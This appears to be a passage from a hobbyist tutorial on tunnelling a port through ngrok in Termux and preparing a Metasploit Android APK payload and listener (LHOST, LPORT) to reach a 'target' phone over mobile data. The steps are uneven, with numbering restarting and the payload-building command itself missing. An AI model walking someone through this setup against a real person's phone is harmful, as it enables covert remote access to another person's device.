Port Forwarding using Ngrok in termux:

If you're planning to use Metasploit on a local network (LAN), feel free to skip this step. This step becomes necessary when you and your target are not on the same Wi-Fi network.

Port forwarding allows us to access the target device's phone using mobile data. This is particularly useful if you're using a SIM card. Therefore, port forwarding is essential to utilize Metasploit effectively in such scenarios.

Step 1:

Go to Ngrok.com and create an account. if you already have an account at ngrok then log in.

Step 2:

Download the Ngrok zip file on your phone.It will be approx 12Mb file.

Step 3:

Now you will see a zip file that you have downloaded from the Ngrok website.
Open termux and navigate to that zip file. If it's not in your download folder or you can't see your download folder, just open the file manager and paste the zip file in your internal storage.and go to termux and cd storage.

Step 4:

Type this command to copy the zip file in your Home directory of termux.

cp ngrok-stable-linux-arm.zip /$HOME

Step 5:
Type this command to go back to your home directory.

cd /$HOME

Step 6:
Type this command to unzip the file.

unzip ngrok-stable-linux-arm.zip

Step 7:

Go to Ngrok site again and copy the token,(please copy the full token)

Step 8:

Open terminal and type this code and paste your token and press enter.

./ngrok authtoken 

Step 9:

Type this command to start port forwarding on port 1275.

./ngrok tcp 1275

You can use any port number i am using 1275 here.

Step 10:

If you are also getting this error just open your hotspot and it will be fixed in 30 to 60 seconds.

Create payload in Metasploit:

The payload will be an apk file which we are going to install on our second phone for testing the metasploit tool. That will allow us to Acess the second android phone.

If you are using ngrok port forwarding then enter this IP address but if you are not using port forwarding then enter your Local IP.

set LHOST 127.0.0.1

Step 5:
Now set the LPORT.
if you are using Ngrok then set the same port which you used while port forwarding.
if you are not using port forwarding then just enter the same port you used to create the payload.
